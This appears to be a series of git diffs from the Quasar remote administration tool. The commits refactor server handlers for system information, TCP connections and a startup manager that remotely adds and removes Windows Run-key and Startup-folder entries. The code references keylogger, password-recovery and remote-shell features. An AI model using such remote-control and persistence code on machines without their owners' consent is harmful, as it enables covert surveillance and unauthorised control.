(int i = 0; i < packet.SystemInfos.Length; i += 2) - { - if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) - { - builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]); - } - } - - FrmMain.Instance.SetToolTipText(client, builder.ToString()); - } - - if (client.Value == null || client.Value.FrmSi == null) - return; - - ListViewItem[] lviCollection = new ListViewItem[packet.SystemInfos.Length / 2]; - for (int i = 0, j = 0; i < packet.SystemInfos.Length; i += 2, j++) - { - if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) - { - lviCollection[j] = new ListViewItem(new string[] { packet.SystemInfos[i], packet.SystemInfos[i + 1] }); - } - } - - if (client.Value != null && client.Value.FrmSi != null) - client.Value.FrmSi.AddItems(lviCollection); - } - public static void HandleGetStartupItemsResponse(Client client, GetStartupItemsResponse packet) { if (client.Value == null || client.Value.FrmStm == null || packet.StartupItems == null) diff --git a/Server/Core/Commands/SystemInformationHandler.cs b/Server/Core/Commands/SystemInformationHandler.cs new file mode 100644 index 000000000..47a0d9943 --- /dev/null +++ b/Server/Core/Commands/SystemInformationHandler.cs @@ -0,0 +1,74 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + public class SystemInformationHandler : MessageProcessorBase>> + { + /// + /// The client which is associated with this system information handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public SystemInformationHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetSystemInfoResponse; + + /// + public override bool CanExecuteFrom(ISender client) => _client.Equals(client); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfoResponse info: + Execute(sender, info); + break; + } + } + + /// + /// Refreshes the system information of the client. + /// + public void RefreshSystemInformation() + { + _client.Send(new GetSystemInfo()); + } + + private void Execute(ISender client, GetSystemInfoResponse message) + { + OnReport(message.SystemInfos); + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + //{ + // var builder = new StringBuilder(); + // for (int i = 0; i < packet.SystemInfos.Length; i += 2) + // { + // if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) + // { + // builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]); + // } + // } + + // FrmMain.Instance.SetToolTipText(client, builder.ToString()); + //} + } + + protected override void Dispose(bool disposing) + { + } + } +} diff --git a/Server/Core/Commands/TCPConnectionsHandler.cs b/Server/Core/Commands/TCPConnectionsHandler.cs deleted file mode 100644 index 86603079d..000000000 --- a/Server/Core/Commands/TCPConnectionsHandler.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System.Threading; -using Quasar.Common.Messages; -using xServer.Core.Networking; - -namespace xServer.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */ - public static partial class CommandHandler - { - public static void HandleGetConnectionsResponse(Client client, GetConnectionsResponse packet) - { - - if (client.Value == null || client.Value.FrmCon == null) - return; - - client.Value.FrmCon.ClearListviewItems(); - - // None of the arrays containing the process' information can be null. - // The must also be the exact same length because each entry in the five - // different arrays represents one process. - if (packet.Processes == null || packet.LocalAddresses == null || packet.LocalPorts == null || - packet.RemoteAddresses == null || packet.RemotePorts == null || packet.States == null || - packet.Processes.Length != packet.LocalAddresses.Length || packet.Processes.Length != packet.LocalPorts.Length || - packet.Processes.Length != packet.RemoteAddresses.Length || packet.Processes.Length != packet.RemotePorts.Length || - packet.Processes.Length != packet.States.Length) - - return; - - new Thread(() => - { - /*if (client.Value != null && client.Value.FrmTm != null) - client.Value.FrmTm.SetProcessesCount(packet.Process.Length);*/ - - for (int i = 0; i < packet.Processes.Length; i++) - { - /*if (packet.IDs[i] == 0 || packet.Processes[i] == "System.exe") - continue;*/ - - if (client.Value == null || client.Value.FrmCon == null) - break; - - client.Value.FrmCon.AddConnectionToListview(packet.Processes[i], packet.LocalAddresses[i], packet.LocalPorts[i], - packet.RemoteAddresses[i], packet.RemotePorts[i], ((ConnectionStates)packet.States[i]).ToString()); - } - }).Start(); - } - - enum ConnectionStates : byte - { - Closed = 1, - Listening = 2, - SYN_Sent = 3, - Syn_Recieved = 4, - Established = 5, - Finish_Wait_1 = 6, - Finish_Wait_2 = 7, - Closed_Wait = 8, - Closing = 9, - Last_ACK = 10, - Time_Wait = 11, - Delete_TCB = 12 - } - } -} diff --git a/Server/Core/Commands/TcpConnectionsHandler.cs b/Server/Core/Commands/TcpConnectionsHandler.cs new file mode 100644 index 000000000..84799889a --- /dev/null +++ b/Server/Core/Commands/TcpConnectionsHandler.cs @@ -0,0 +1,77 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + public class TcpConnectionsHandler : MessageProcessorBase + { + /// + /// The client which is associated with this system information handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public TcpConnectionsHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetConnectionsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnectionsResponse con: + Execute(sender, con); + break; + } + } + + /// + /// Refreshes the current TCP connections. + /// + public void RefreshTcpConnections() + { + _client.Send(new GetConnections()); + } + + /// + /// Closes a TCP connection of the client. + /// + /// Local address. + /// Local port. + /// Remote address. + /// Remote port. + public void CloseTcpConnection(string localAddress, ushort localPort, string remoteAddress, ushort remotePort) + { + // a unique tcp connection is determined by local address + port and remote address + port + _client.Send(new DoCloseConnection + { + LocalAddress = localAddress, + LocalPort = localPort, + RemoteAddress = remoteAddress, + RemotePort = remotePort + }); + } + + private void Execute(ISender client, GetConnectionsResponse message) + { + OnReport(message.Connections); + } + + protected override void Dispose(bool disposing) + { + } + } +} diff --git a/Server/Core/Networking/Client.cs b/Server/Core/Networking/Client.cs index 7eb051f00..bab1d933f 100644 --- a/Server/Core/Networking/Client.cs +++ b/Server/Core/Networking/Client.cs @@ -479,6 +479,7 @@ private void AsyncReceive(object state) isError = _payloadBuffer.Length == 0; // check if payload decryption failed } + int compressedSize = _payloadBuffer.Length; if (!isError) { if (compressionEnabled) @@ -505,6 +506,16 @@ private void AsyncReceive(object state) break; } + int uncompressedSize = _payloadBuffer.Length; + double ratio = (double)uncompressedSize / compressedSize - 1; + + string save = "nothing"; + if (ratio > 0) + save = Helper.FileHelper.GetDataSize(uncompressedSize - compressedSize); + + System.Diagnostics.Debug.WriteLine($"Read ratio: {ratio}, saved {save}"); + + using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) { try @@ -638,8 +649,14 @@ private void Send(object state) private byte[] BuildMessage(byte[] payload) { + int uncompressedSize = payload.Length; // 1300 if (compressionEnabled) payload = SafeQuickLZ.Compress(payload); + int compressedSize = payload.Length; // 1000 + + double ratio = (double)uncompressedSize / compressedSize - 1; + + System.Diagnostics.Debug.WriteLine($"Send ratio: {ratio}"); if (encryptionEnabled) payload = AES.Encrypt(payload); diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index 654312c7b..b9caf4517 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -26,11 +26,6 @@ public static void HandlePacket(Client client, IMessage packet) CommandHandler.HandleGetProcessesResponse(client, (GetProcessesResponse)packet); } - else if (type == typeof(GetSystemInfoResponse)) - { - CommandHandler.HandleGetSystemInfoResponse(client, - (GetSystemInfoResponse)packet); - } else if (type == typeof(GetWebcamsResponse)) { CommandHandler.HandleGetWebcamsResponse(client, (GetWebcamsResponse)packet); @@ -95,10 +90,6 @@ public static void HandlePacket(Client client, IMessage packet) { ReverseProxyCommandHandler.HandleCommand(client, packet); } - else if (type == typeof(GetConnectionsResponse)) - { - CommandHandler.HandleGetConnectionsResponse(client, (GetConnectionsResponse)packet); - } } } } diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index b88bad2ee..dbeed59a6 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -26,13 +26,11 @@ public class UserState : IDisposable public FrmRemoteWebcam FrmWebcam { get; set; } public FrmTaskManager FrmTm { get; set; } public FrmRegistryEditor FrmRe { get; set; } - public FrmSystemInformation FrmSi { get; set; } public FrmRemoteShell FrmRs { get; set; } public FrmStartupManager FrmStm { get; set; } public FrmKeylogger FrmKl { get; set; } public FrmReverseProxy FrmProxy { get; set; } public FrmPasswordRecovery FrmPass { get; set; } - public FrmConnections FrmCon { get; set; } public ReverseProxyServer ProxyServer { get; set; } @@ -53,8 +51,6 @@ protected virtual void Dispose(bool disposing) FrmTm.Invoke((MethodInvoker)delegate { FrmTm.Close(); }); if (FrmRe != null) FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); }); - if (FrmSi != null) - FrmSi.Invoke((MethodInvoker)delegate { FrmSi.Close(); }); if (FrmRs != null) FrmRs.Invoke((MethodInvoker)delegate { FrmRs.Close(); }); if (FrmStm != null) @@ -65,8 +61,6 @@ protected virtual void Dispose(bool disposing) FrmProxy.Invoke((MethodInvoker)delegate { FrmProxy.Close(); }); if (FrmPass != null) FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); }); - if (FrmCon != null) - FrmCon.Invoke((MethodInvoker)delegate { FrmCon.Close(); }); } catch (InvalidOperationException) { diff --git a/Server/Forms/FrmConnections.cs b/Server/Forms/FrmConnections.cs index 44ef41c1d..940bbfa04 100644 --- a/Server/Forms/FrmConnections.cs +++ b/Server/Forms/FrmConnections.cs @@ -2,6 +2,8 @@ using System.Collections.Generic; using System.Windows.Forms; using Quasar.Common.Messages; +using Quasar.Common.Models; +using xServer.Core.Commands; using xServer.Core.Helper; using xServer.Core.Networking; @@ -9,92 +11,142 @@ namespace xServer.Forms { public partial class FrmConnections : Form { + /// + /// The client which can be used for the connections manager. + /// private readonly Client _connectClient; - Dictionary Groups = new Dictionary(); - public FrmConnections(Client c) + /// + /// The message handler for handling the communication with the client. + /// + private readonly TcpConnectionsHandler _connectionsHandler; + + /// + /// + /// + private readonly Dictionary _groups = new Dictionary(); + + /// + /// Holds the opened connections manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new connections manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the connections manager form. + /// + /// Returns a new connections manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmConnections CreateNewOrGetExisting(Client client) { - _connectClient = c; - _connectClient.Value.FrmCon = this; + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmConnections f = new FrmConnections(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + public FrmConnections(Client client) + { + _connectClient = client; + _connectionsHandler = new TcpConnectionsHandler(client); + RegisterMessageHandler(); InitializeComponent(); } - private void FrmConnections_Load(object sender, EventArgs e) + /// + /// Registers the connections manager message handler for client communication. + /// + private void RegisterMessageHandler() { - if (_connectClient != null) + _connectClient.ClientState += ClientDisconnected; + _connectionsHandler.ProgressChanged += TcpConnectionsChanged; + MessageHandler.Register(_connectionsHandler); + } + + /// + /// Unregisters the connections manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_connectionsHandler); + _connectionsHandler.ProgressChanged -= TcpConnectionsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) { - this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient); - _connectClient.Send(new GetConnections()); + this.Invoke((MethodInvoker)this.Close); } } - public void AddConnectionToListview(string processName, string localaddress, string localport, string remoteaddress, string remoteport, string state) + /// + /// Called whenever a TCP connection changed. + /// + /// The message handler which raised the event. + /// The current TCP connections of the client. + private void TcpConnectionsChanged(object sender, TcpConnection[] connections) { - try + lstConnections.Items.Clear(); + + foreach (var con in connections) { - ListViewItem lvi = new ListViewItem(new string[] + string state = con.State.ToString(); + + ListViewItem lvi = new ListViewItem(new[] { - processName, localaddress, localport, remoteaddress , remoteport, state + con.ProcessName, con.LocalAddress, con.LocalPort.ToString(), + con.RemoteAddress, con.RemotePort.ToString(), state }); - lstConnections.Invoke((MethodInvoker)delegate + if (!_groups.ContainsKey(state)) { - if (!Groups.ContainsKey(state)) - { - ListViewGroup g = new ListViewGroup(state, state); - lstConnections.Groups.Add(g); - Groups.Add(state, g); - } - lvi.Group = lstConnections.Groups[state]; - lstConnections.Items.Add(lvi); - }); - } - catch (InvalidOperationException) - { + // create new group if not exists already + ListViewGroup g = new ListViewGroup(state, state); + lstConnections.Groups.Add(g); + _groups.Add(state, g); + } + + lvi.Group = lstConnections.Groups[state]; + lstConnections.Items.Add(lvi); } } - public void ClearListviewItems() + private void FrmConnections_Load(object sender, EventArgs e) { - try - { - lstConnections.Invoke((MethodInvoker)delegate - { - lstConnections.Items.Clear(); - }); - } - catch (InvalidOperationException) - { - } + this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient); + _connectionsHandler.RefreshTcpConnections(); } private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e) { - - if (_connectClient.Value != null) - _connectClient.Value.FrmCon = null; - + UnregisterMessageHandler(); + _connectionsHandler.Dispose(); } private void refreshToolStripMenuItem_Click(object sender, EventArgs e) { - _connectClient?.Send(new GetConnections()); + _connectionsHandler.RefreshTcpConnections(); } private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) { - if (_connectClient != null) + foreach (ListViewItem lvi in lstConnections.SelectedItems) { - foreach (ListViewItem lvi in lstConnections.SelectedItems) - { - //send local and remote ports of connection - _connectClient.Send(new DoCloseConnection - { - LocalPort = int.Parse(lvi.SubItems[2].Text), - RemotePort = int.Parse(lvi.SubItems[4].Text) - }); - } + _connectionsHandler.CloseTcpConnection(lvi.SubItems[1].Text, ushort.Parse(lvi.SubItems[2].Text), + lvi.SubItems[3].Text, ushort.Parse(lvi.SubItems[4].Text)); } } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 0975ac236..7ffd4ce84 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -5,6 +5,7 @@ using System.Threading; using System.Windows.Forms; using Quasar.Common.Enums; +using Quasar.Common.IO; using Quasar.Common.Messages; using xServer.Core.Commands; using xServer.Core.Cryptography; @@ -538,13 +539,9 @@ private void systemInformationToolStripMenuItem_Click(object sender, EventArgs e { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmSi != null) - { - c.Value.FrmSi.Focus(); - return; - } - FrmSystemInformation frmSI = new FrmSystemInformation(c); - frmSI.Show(); + FrmSystemInformation frmSi = FrmSystemInformation.CreateNewOrGetExisting(c); + frmSi.Show(); + frmSi.Focus(); } } @@ -552,9 +549,9 @@ private void fileManagerToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - FrmFileManager frmFM = FrmFileManager.CreateNewOrGetExisting(c); - frmFM.Show(); - frmFM.Focus(); + FrmFileManager frmFm = FrmFileManager.CreateNewOrGetExisting(c); + frmFm.Show(); + frmFm.Focus(); } } @@ -604,14 +601,9 @@ private void connectionsToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmCon != null) - { - c.Value.FrmCon.Focus(); - return; - } - - FrmConnections frmCON = new FrmConnections(c); - frmCON.Show(); + FrmConnections frmCon = FrmConnections.CreateNewOrGetExisting(c); + frmCon.Show(); + frmCon.Focus(); } } diff --git a/Server/Forms/FrmSystemInformation.cs b/Server/Forms/FrmSystemInformation.cs index dd772a2c0..6a3028aa2 100644 --- a/Server/Forms/FrmSystemInformation.cs +++ b/Server/Forms/FrmSystemInformation.cs @@ -1,7 +1,9 @@ -using System; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; using System.Linq; using System.Windows.Forms; -using Quasar.Common.Messages; +using xServer.Core.Commands; using xServer.Core.Extensions; using xServer.Core.Helper; using xServer.Core.Networking; @@ -10,67 +12,111 @@ namespace xServer.Forms { public partial class FrmSystemInformation : Form { + /// + /// The client which can be used for the system information. + /// private readonly Client _connectClient; - public FrmSystemInformation(Client c) + /// + /// The message handler for handling the communication with the client. + /// + private readonly SystemInformationHandler _sysInfoHandler; + + /// + /// Holds the opened system information form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new system information form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the system information form. + /// + /// Returns a new system information form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmSystemInformation CreateNewOrGetExisting(Client client) { - _connectClient = c; - _connectClient.Value.FrmSi = this; + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmSystemInformation f = new FrmSystemInformation(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmSystemInformation(Client client) + { + _connectClient = client; + _sysInfoHandler = new SystemInformationHandler(client); + RegisterMessageHandler(); InitializeComponent(); } - private void FrmSystemInformation_Load(object sender, EventArgs e) + /// + /// Registers the system information message handler for client communication. + /// + private void RegisterMessageHandler() { - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient); - _connectClient.Send(new GetSystemInfo()); + _connectClient.ClientState += ClientDisconnected; + _sysInfoHandler.ProgressChanged += SystemInformationChanged; + MessageHandler.Register(_sysInfoHandler); + } - if (_connectClient.Value != null) - { - ListViewItem lvi = - new ListViewItem(new string[] {"Operating System", _connectClient.Value.OperatingSystem}); - lstSystem.Items.Add(lvi); - lvi = - new ListViewItem(new string[] - { - "Architecture", - (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)" - }); - lstSystem.Items.Add(lvi); - lvi = new ListViewItem(new string[] {"", "Getting more information..."}); - lstSystem.Items.Add(lvi); - } + /// + /// Unregisters the system information message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_sysInfoHandler); + _sysInfoHandler.ProgressChanged -= SystemInformationChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); } } - private void FrmSystemInformation_FormClosing(object sender, FormClosingEventArgs e) + private void FrmSystemInformation_Load(object sender, EventArgs e) { - if (_connectClient.Value != null) - _connectClient.Value.FrmSi = null; + this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient); + _sysInfoHandler.RefreshSystemInformation(); + AddBasicSystemInformation(); } - public void AddItems(ListViewItem[] lviCollection) + private void FrmSystemInformation_FormClosing(object sender, FormClosingEventArgs e) { - try - { - lstSystem.Invoke((MethodInvoker) delegate - { - lstSystem.Items.RemoveAt(2); // Loading... Information + UnregisterMessageHandler(); + _sysInfoHandler.Dispose(); + } - foreach (var lviItem in lviCollection) - { - if (lviItem != null) - lstSystem.Items.Add(lviItem); - } + private void SystemInformationChanged(object sender, List> infos) + { + // remove "Loading..." information + lstSystem.Items.RemoveAt(2); - lstSystem.AutosizeColumns(); - }); - } - catch (InvalidOperationException) + foreach (var info in infos) { + var lvi = new ListViewItem(new[] {info.Item1, info.Item2}); + lstSystem.Items.Add(lvi); } + + lstSystem.AutosizeColumns(); } private void copyAllToolStripMenuItem_Click(object sender, EventArgs e) @@ -108,28 +154,27 @@ private void copySelectedToolStripMenuItem_Click(object sender, EventArgs e) private void refreshToolStripMenuItem_Click(object sender, EventArgs e) { lstSystem.Items.Clear(); + _sysInfoHandler.RefreshSystemInformation(); + AddBasicSystemInformation(); + } - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("System Information", _connectClient); - _connectClient.Send(new GetSystemInfo()); - - if (_connectClient.Value != null) + /// + /// Adds basic system information which is already available to the ListView. + /// + private void AddBasicSystemInformation() + { + ListViewItem lvi = + new ListViewItem(new[] {"Operating System", _connectClient.Value.OperatingSystem}); + lstSystem.Items.Add(lvi); + lvi = + new ListViewItem(new[] { - ListViewItem lvi = - new ListViewItem(new string[] { "Operating System", _connectClient.Value.OperatingSystem }); - lstSystem.Items.Add(lvi); - lvi = - new ListViewItem(new string[] - { - "Architecture", - (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)" - }); - lstSystem.Items.Add(lvi); - lvi = new ListViewItem(new string[] { "", "Getting more information..." }); - lstSystem.Items.Add(lvi); - } - } + "Architecture", + (_connectClient.Value.OperatingSystem.Contains("32 Bit")) ? "x86 (32 Bit)" : "x64 (64 Bit)" + }); + lstSystem.Items.Add(lvi); + lvi = new ListViewItem(new[] {"", "Getting more information..."}); + lstSystem.Items.Add(lvi); } } } \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index 32c0d064b..94b66d345 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -115,7 +115,8 @@ - + + @@ -141,7 +142,6 @@ - From f2f7bffacee444be0cf88e47382921b27626eb2e Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 16 Sep 2018 20:15:46 +0200 Subject: [PATCH 120/229] Refactor Startup Manager --- Client/Core/Commands/SystemHandler.cs | 91 +++++--- Client/Core/Commands/TcpConnectionsHandler.cs | 15 +- .../Core/Extensions/RegistryKeyExtensions.cs | 4 +- Quasar.Common/Enums/StartupType.cs | 13 ++ Quasar.Common/Messages/DoStartupItemRemove.cs | 9 +- .../Messages/GetStartupItemsResponse.cs | 7 +- Quasar.Common/Models/StartupItem.cs | 4 +- Quasar.Common/Quasar.Common.csproj | 1 + Server/Core/Commands/StartupManagerHandler.cs | 77 +++++++ Server/Core/Commands/SystemHandler.cs | 38 ---- Server/Core/Networking/PacketHandler.cs | 5 - Server/Core/Networking/UserState.cs | 3 - Server/Forms/FrmConnections.cs | 12 + Server/Forms/FrmFileManager.cs | 2 +- Server/Forms/FrmMain.cs | 8 +- ....Designer.cs => FrmStartupAdd.Designer.cs} | 4 +- ...{FrmAddToAutostart.cs => FrmStartupAdd.cs} | 17 +- ...AddToAutostart.resx => FrmStartupAdd.resx} | 0 Server/Forms/FrmStartupManager.cs | 207 +++++++++++------- Server/Server.csproj | 12 +- 20 files changed, 331 insertions(+), 198 deletions(-) create mode 100644 Quasar.Common/Enums/StartupType.cs create mode 100644 Server/Core/Commands/StartupManagerHandler.cs delete mode 100644 Server/Core/Commands/SystemHandler.cs rename Server/Forms/{FrmAddToAutostart.Designer.cs => FrmStartupAdd.Designer.cs} (99%) rename Server/Forms/{FrmAddToAutostart.cs => FrmStartupAdd.cs} (79%) rename Server/Forms/{FrmAddToAutostart.resx => FrmStartupAdd.resx} (100%) diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index fc3c19562..855f5ed08 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -106,34 +106,50 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { try { - List startupItems = new List(); + List startupItems = new List(); using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "0" + formattedKeyValue)); + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new StartupItem + {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun}); + } } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "1" + formattedKeyValue)); + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new StartupItem + {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce}); + } } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "2" + formattedKeyValue)); + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new StartupItem + {Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun}); + } } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "3" + formattedKeyValue)); + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new StartupItem + {Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce}); + } } } if (PlatformHelper.Is64Bit) @@ -142,14 +158,24 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { if (key != null) { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "4" + formattedKeyValue)); + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new StartupItem + {Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64Run}); + } } } using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key != null) { - startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "5" + formattedKeyValue)); + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new StartupItem + { + Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64RunOnce + }); + } } } } @@ -157,9 +183,10 @@ public static void HandleGetStartupItems(GetStartupItems command, Client client) { var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); - startupItems.AddRange(from file in files where file.Name != "desktop.ini" - select string.Format("{0}||{1}", file.Name, file.FullName) into formattedKeyValue - select "6" + formattedKeyValue); + startupItems.AddRange(from file in files + where file.Name != "desktop.ini" + select new StartupItem() + {Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu}); } client.Send(new GetStartupItemsResponse {StartupItems = startupItems}); @@ -176,35 +203,35 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien { switch (command.StartupItem.Type) { - case 0: + case StartupType.LocalMachineRun: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; - case 1: + case StartupType.LocalMachineRunOnce: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; - case 2: + case StartupType.CurrentUserRun: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; - case 3: + case StartupType.CurrentUserRunOnce: if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name, command.StartupItem.Path, true)) { throw new Exception("Could not add value"); } break; - case 4: + case StartupType.LocalMachineWoW64Run: if (!PlatformHelper.Is64Bit) throw new NotSupportedException("Only on 64-bit systems supported"); @@ -214,7 +241,7 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien throw new Exception("Could not add value"); } break; - case 5: + case StartupType.LocalMachineWoW64RunOnce: if (!PlatformHelper.Is64Bit) throw new NotSupportedException("Only on 64-bit systems supported"); @@ -224,7 +251,7 @@ public static void HandleDoStartupItemAdd(DoStartupItemAdd command, Client clien throw new Exception("Could not add value"); } break; - case 6: + case StartupType.StartMenu: if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); @@ -254,58 +281,58 @@ public static void HandleDoStartupItemRemove(DoStartupItemRemove command, Client { try { - switch (command.Type) + switch (command.StartupItem.Type) { - case 0: + case StartupType.LocalMachineRun: if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name)) + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.StartupItem.Name)) { throw new Exception("Could not remove value"); } break; - case 1: + case StartupType.LocalMachineRunOnce: if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name)) + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.StartupItem.Name)) { throw new Exception("Could not remove value"); } break; - case 2: + case StartupType.CurrentUserRun: if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - 